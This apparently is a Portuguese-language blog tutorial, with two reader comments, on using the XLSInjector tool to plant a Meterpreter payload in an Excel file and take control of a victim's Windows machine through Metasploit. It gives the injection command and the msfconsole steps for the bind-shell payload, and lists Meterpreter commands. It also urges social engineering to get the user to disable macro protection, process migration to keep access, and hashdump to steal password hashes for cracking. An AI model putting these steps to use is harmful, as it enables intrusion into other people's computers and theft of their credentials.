1 - Preparação
Não é um segredo para ninguém que a suíte de programas para escritório mais utilizada no mundo é o Microsoft Office, possuindo a maior fatia do mercado em sistemas operacionais Windows e Mac. Desta suíte, os programas mais utilizados são Microsoft Word, Microsoft Excel e Microsoft Power Point, que quase sempre estão instalados na maioria dos computadores.
Nesse artigo vamos tratar do XLSInjector, uma ferramenta criada por Keith Lee que permite injetar em um arquivo do Microsoft Excel um console meterpreter (executado totalmente na memória ram, sem criar nenhum processo adicional), permitindo-nos acessar o mesmo remotamente a partir da porta 4444 e ganhar controle total da máquina.
Para que o XLSInjector funcione adequadamente, precisamos do seguinte ambiente configurado:
- Uma máquina (virtual ou real) com Windows
- Microsoft Excel
- Perl
- O módulo Win32:OLE para Perl
- Um arquivo XLS para infectar
- XLSInjector
- e por último, o Metasploit Framework
Depois de configurar todos os elementos necessários para o correto funcionamento do XLSInjector, passamos para a execução, que é bem simples:
# perl xlsinjector.pl -i ArquivoDoExcel.xls -o ArquivoComShellDoExcel.xls
Mas nem tudo é tão simples com essa ferramenta, pois o XLSInjector NÃO consegue burlar os filtros de scripts existentes na suíte Microsoft e, justo por isso, é necessário convencer, por meio de engenharia social, ou qualquer outra técnica, que o usuário desabilite as configurações de segurança de macros e que "confie" no arquivo, o que é um pouco complicado, mas que certamente com um pouco de persuasão é possível conseguir.
Supondo que já realizou as configurações necessárias para o correto funcionamento do XLSInjector, vamos acessar remotamente nossa shell meterpreter através do console do Metasploit Framework.
Iniciamos o console do Metasploit:
# ./msfconsole
Uma vez que o console MSF esteja aberto, carregamos o payload do meterpreter:
set payload windows/meterpreter/bind_tcp
Configuramos o payload corretamente, com seus parâmetros:
set RHOST ip_da_vitima
set RPOT 4444
E executamos:
exploit
Com esses passos simples temos à nossa disposição uma shell meterpreter na máquina remota. Temos que ter em mente que uma shell meterpreter é diferente de uma shell de um sistema operacional, e que possui seu próprio conjunto de comando, que pode ser listado simplesmente digitando na shell "?" e pressionando enter. Com esse comando, terá em sua tela algo parecido com isso:
Core Commands
Command | Description |
? | Help menu |
channel | Displays information about active channels |
close | Closes a channel |
exit | Terminate the meterpreter session |
help | Help menu |
interact | Interacts with a channel |
irb | Drop into irb scripting mode |
migrate | Migrate the server to another process |
quit | Terminate the meterpreter session |
read | Reads data from a channel |
run | Executes a meterpreter script |
use | Load a one or more meterpreter extensions |
write | Writes data to a channel |
Stdapi: File system Commands
Command | Description |
cat | Read the contents of a file to the screen |
cd | Change directory |
download | Download a file or directory |
edit | Edit a file |
getlwd | Print local working directory |
getwd | Print working directory |
lcd | Change local working directory |
lpwd | Print local working directory |
ls | List files |
mkdir | Make directory |
pwd | Print working directory |
rmdir | Remove directory |
upload | Upload a file or directory |
Stdapi: Networking Commands
Command | Description |
ipconfig | Display interfaces |
portfwd | Forward a local port to a remote service |
route | View and modify the routing table |
Stdapi: System Commands
Command | Description |
execute | Execute a command |
getpid | Get the current process identifier |
getuid | Get the user that the server is running as |
kill | Terminate a process |
ps | List running processes |
reboot | Reboots the remote computer |
reg | Modify and interact with the remote registry |
rev2self | Calls RevertToSelf() on the remote machine |
shutdown | Shuts down the remote computer |
sysinfo | Gets information about the remote system, such as OS |
Stdapi: User interface Commands
Command | Description |
idletime | Returns the number of seconds the remote user has been idle |
uictl | Control some of the user interface components |
Priv: Password database Commands
Command | Description |
hashdump | Dumps the contents of the SAM database |
Priv: Timestomp Commands
Command | Description |
timestomp | Manipulate file MACE attributes |
É sempre bom ressaltar a potência e a capacidade do meterpreter para injetar dll's, fazer upload de arquivos, executar scripts e etc. Recomendo que dê uma lida no documento Metasploit's Meterpreter para saber mais sobre os comandos do meterpreter.
Recomendo também utilizar o comando "migrate" tão logo possa, ao conseguir o shell com a máquina alvo, para evitar que assim que fecharem o arquivo XLS, sua conexão também seja encerrada. Outro comando recomendado é o hashdump, que retorna o conteúdo do arquivo SAM da máquina vítima, para que posteriormente se possa obter a senha dos usuários e administradores, utilizando ferramentas como l0phtcrack ou cain&abel.
Por último, deixo abaixo o vídeo do autor da ferramenta XLSInjector, onde ensina o seu funcionamento:
É necessário que aja alguma vulnerabilidade, no sistema alvo, para que essa implementação do XLSInjector e Metasploit funcione?
ResponderExcluirTobias, precisa ter uma vulnerabilida sim: o Windows...rs.
ResponderExcluirBrincadeira, mas é necessário ter o microsoft office instalado, com o excell. Apenas isso, pois o mesmo possui vulnerabilidades.